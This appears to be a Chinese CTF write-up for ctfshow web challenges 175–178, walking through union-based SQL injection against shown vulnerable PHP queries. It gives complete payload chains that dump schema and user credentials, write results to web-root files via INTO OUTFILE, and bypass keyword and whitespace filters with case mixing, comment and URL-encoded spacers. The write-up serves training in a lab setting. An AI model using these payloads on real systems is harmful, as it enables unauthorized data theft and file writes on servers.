ctfshow(175->178)--SQL注入--联合注入及其过滤

Web175

进入界面:

审计:

查询语句:

php 复制代码
$sql = "select username,password from ctfshow_user5 where username !='flag' and id = '".$_GET['id']."' limit 1;";

返回逻辑:

php 复制代码
if(!preg_match('/[\x00-\x7f]/i', json_encode($ret))){
      $ret['msg']='查询成功';
    }

preg_match函数过滤了所有ASCII码中的符号。

相当于禁止查询任何内容。

思路/EXP:

在linux中,/var/www/html/是网站默认的文件存放位置,我们将查询内容写入文件之后读取。

使用into outfile "[文件路径]"将数据写入我们创建的文件。

php 复制代码
1' order by 2--+ //查出字段数为2

-1' union select 1,database() into outfile '/var/www/html/1.txt'--+
//爆库,查看1.txt得到库名

-1' union select 1,group_concat(table_name) from information_schema.tables where table_schema='ctfshow_web' into outfile '/var/www/html/2.txt'--+
//爆表,查看2.txt得到表名
//1.txt被创建并写入内容后,不能使用into outfile再向其中写入内容了,所以创建并写入2.txt

-1' union select 1,group_concat(column_name) from information_schema.columns where table_name='ctfshow_user5' into outfile '/var/www/html/3.txt'--+
//爆字段

-1' union select username, password from ctfshow_user5 into outfile '/var/www/html/flag.txt'--+
//爆数据

得到flag.

Web176

进入界面:

审计:

查询语句:

php 复制代码
$sql = "select id,username,password from ctfshow_user where username !='flag' and id = '".$_GET['id']."' limit 1;";

返回逻辑:

php 复制代码
//对传入的参数进行了过滤
  function waf($str){
   //代码过于简单,不宜展示
  }

思路/EXP:

不再是对查询的内容进行过滤,而是对我们传入的参数进行了过滤。

但是不知道过滤的内容是什么。

先按照联合注入的流程进行查询,在查询的过程再判断过滤了什么:

php 复制代码
1' order by 3--+ //字段数为3

-1' union select 1,2,3--+
//报错,将union和select分别进行大小写混写,发现是过滤了select
-1' union sElect 1,2,3--+
-1' union sElect 1,2,database()--+
-1' union sElect 1,2,group_concat(table_name) from information_schema.tables where table_schema='ctfshow_web'--+
-1' union sElect 1,2,group_concat(column_name) from information_schema.columns where table_name='ctfshow_user'--+
-1' union sElect 1,2,group_concat(username,password) from ctfshow_user--+

得到flag.

或者输入1' or 1=1--+,得到数据表全部数据。

Web177

进入界面:

审计:

查询语句:

php 复制代码
$sql = "select id,username,password from ctfshow_user where username !='flag' and id = '".$_GET['id']."' limit 1;";

返回逻辑:

php 复制代码
//对传入的参数进行了过滤
  function waf($str){
   //代码过于简单,不宜展示
  }

思路:

依旧联合注入,在注入过程中判断被过滤的字符。

发现空格被过滤,将空格替换为/**/绕过。

注释--+也被过滤,替换为%23绕过。

php 复制代码
1'/**/order/**/by/**/3%23 //%23是#的URL编码,也是sql语句的注释符号
-1'/**/union/**/select/**/1,2,database()%23 //爆库
-1'/**/union/**/select/**/1,2,group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema='ctfshow_web'%23 //爆表
-1'/**/union/**/select/**/1,2,group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name='ctfshow_user'%23 //爆字段
-1'/**/union/**/select/**/1,2,group_concat(username,password)/**/from/**/ctfshow_user%23 //爆数据

得到flag.

Web178

进入页面:

审计:

与上一题相同。

思路:

依旧边注入边分析过滤的内容。

依旧是过滤了空格,但是也过滤了/**/和+,导致我们不能用这两个符号来绕过空格。

使用脚本,测试所以可以绕过空格的符号:

python 复制代码
order = "1' order by 1%23"
#绕过对空格的过滤
#空格替换:%09 %0a %0d %0c /**/ +
spaces = ["%09","%0a","%0d","%0c","/**/","+"]
for space in spaces:
    string = order.replace(" ",space)
    print(string)

发现除了/**/和+,其他符号都有效。

php 复制代码
1'%09order%09by%093%23 //字段数为3
-1'%09union%09select%091,2,database()%23 //爆库名
-1'%09union%09select%091,2,group_concat(table_name)%09from%09information_schema.tables%09where%09table_schema='ctfshow_web'%23 //爆表名
-1'%09union%09select%091,2,group_concat(column_name)%09from%09information_schema.columns%09where%09table_name='ctfshow_user'%23 //爆字段
-1'%09union%09select%091,2,group_concat(username,password)%09from%09ctfshow_user%23 //爆数据

得到flag.

相关推荐
学逆向的7 小时前
win32注入代码
开发语言·网络安全·api·win32
天天喝旺仔8 小时前
MySQL 索引原理与慢查询优化实战:从 B+ 树到执行计划调优
数据库·sql·mysql·性能优化
专业程序开发源8 小时前
flask家电故障预测系统92491-计算机课程设计/毕业设计
vscode·python·sql·算法·flask·课程设计
Web Security Loop8 小时前
MAC安装最新Burpsuite pro详细步骤教程
web安全·macos·网络安全·安全性测试
m0_646429979 小时前
MySQL 初始化 SQL 中文乱码问题总结
数据库·sql·mysql
实战派K8S&DB9 小时前
TDSQL 核心模块与进程体系
运维·数据库·分布式·sql·mysql
xixixi7777710 小时前
解读|华为星河 AI 三层安全围栏:以 AI 守护 AI,重构智算中心 Token 生产纵深防御体系
人工智能·安全·web安全·华为·提示词注入·agent安全·模型投毒
砚凝霜11 小时前
【软考信息安全】第十三章 网络安全漏洞分类管理与扫描处置
安全·web安全
冰暮流星12 小时前
sql之计算
数据库·sql
Xudde.12 小时前
CVE-2017-9993漏洞复现
笔记·学习·安全·web安全